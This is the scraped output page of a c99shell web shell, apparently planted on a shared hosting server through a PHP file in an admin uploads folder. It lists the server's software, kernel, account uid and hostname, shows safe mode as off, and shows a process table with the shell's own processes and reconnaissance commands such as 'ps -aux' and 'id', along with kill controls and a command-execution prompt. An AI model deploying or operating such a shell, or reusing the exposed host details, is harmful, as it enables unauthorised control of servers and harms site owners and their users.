Software: Apache. PHP/5.6.40 uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24 uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) Safe-mode: OFF (not secure) /usr/share/man/pl/man1/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
cp949260 | 633908 | 0.0 | 0.0 | 311924 | 8220 | ? Rs 05:52 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 633906 | 0.0 | 0.0 | 312196 | 8368 | ? Rs 05:52 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 633909 | 0.0 | 0.0 | 13084 | 1024 ? R 05:52 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 633910 | 0.0 | 0.0 | 10572 | 736 ? R 05:52 0:00 id | KILL | ||||||||||||||||||||||||
cp949260 | 633911 | 0.0 | 0.0 | 12732 | 852 ? R 05:52 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 633903 | 0.0 | 0.0 | 313480 | 8952 | ? Rs 05:52 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 633899 | 0.0 | 0.0 | 313480 | 9788 | ? Rs 05:52 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 633095 | 1.6 | 0.0 | 311044 | 18992 | ? | Ss 05:52 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 633890 | 1.0 | 0.0 | 313480 | 9900 | ? Ss 05:52 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 633892 | 1.0 | 0.0 | 313480 | 9900 | ? Ss 05:52 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 633897 | 1.0 | 0.0 | 313480 | 9792 | ? Ss 05:52 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 524091 | 1.0 | 0.0 | 311044 | 18976 | ? | Ss 05:23 0:18 lsphp | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.2573 ]-- |